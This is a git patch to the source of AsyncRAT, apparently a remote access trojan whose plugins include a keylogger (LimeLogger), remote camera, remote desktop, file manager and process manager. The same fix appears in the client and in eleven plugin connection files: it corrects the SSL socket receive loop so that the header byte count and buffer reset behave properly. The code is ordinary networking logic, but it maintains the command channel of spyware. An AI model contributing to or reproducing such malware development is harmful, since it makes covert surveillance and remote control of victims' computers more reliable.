From a3c62c3335c8a083ee7b90bc2818c5e7f6c705fd Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 14 Dec 2019 19:38:42 +0300 Subject: [PATCH] updated receive and send socket --- AsyncRAT-C#/Client/Connection/ClientSocket.cs | 15 +++++++++++++-- AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs | 15 +++++++++++++-- AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs | 15 +++++++++++++-- .../Plugin/FileManager/FileManager/Connection.cs | 15 +++++++++++++-- .../Plugin/FileManager/FileManager/TempSocket.cs | 15 +++++++++++++-- .../Plugin/LimeLogger/LimeLogger/Connection.cs | 15 +++++++++++++-- .../Miscellaneous/Miscellaneous/Connection.cs | 15 +++++++++++++-- AsyncRAT-C#/Plugin/Options/Options/Connection.cs | 15 +++++++++++++-- .../ProcessManager/ProcessManager/Connection.cs | 15 +++++++++++++-- .../RemoteCamera/RemoteCamera/Connection.cs | 15 +++++++++++++-- .../RemoteDesktop/RemoteDesktop/Connection.cs | 15 +++++++++++++-- .../Plugin/SendFile/SendFile/Connection.cs | 15 +++++++++++++-- 12 files changed, 156 insertions(+), 24 deletions(-) diff --git a/AsyncRAT-C#/Client/Connection/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs index f8f4851..e1d8734 100644 --- a/AsyncRAT-C#/Client/Connection/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -158,16 +158,21 @@ namespace Client.Connection { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -175,6 +180,12 @@ namespace Client.Connection HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs index 055c3bc..160d056 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs @@ -117,16 +117,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -134,6 +139,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs index b9ec1ad..2c6b2bd 100644 --- a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs @@ -114,16 +114,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -131,6 +136,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs index c0ff309..7e679bb 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs @@ -120,16 +120,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -137,6 +142,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs index d6bc1a2..9796e56 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs @@ -112,16 +112,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -129,6 +134,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs index fe39489..950a7ef 100644 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs @@ -114,16 +114,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -131,6 +136,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs index b9ec1ad..2c6b2bd 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs @@ -114,16 +114,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -131,6 +136,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs index a285c65..86fd951 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs @@ -114,16 +114,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -131,6 +136,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs index 5fb2086..2981fcd 100644 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs @@ -114,16 +114,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -131,6 +136,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs index fd019c5..84f279f 100644 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs @@ -114,16 +114,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -131,6 +136,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs index 911592e..514003d 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs @@ -115,16 +115,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -132,6 +137,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) { diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs index 827f300..eaa60d3 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs @@ -114,16 +114,21 @@ namespace Plugin { Offset = 0; Buffer = new byte[HeaderSize]; - while (HeaderSize != 0) + while (HeaderSize > 0) { int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); - if (rc <= 0 || HeaderSize < 0) + if (rc <= 0) { IsConnected = false; return; } Offset += rc; HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(Buffer); @@ -131,6 +136,12 @@ namespace Plugin HeaderSize = 4; Buffer = new byte[HeaderSize]; } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } } else if (HeaderSize < 0) {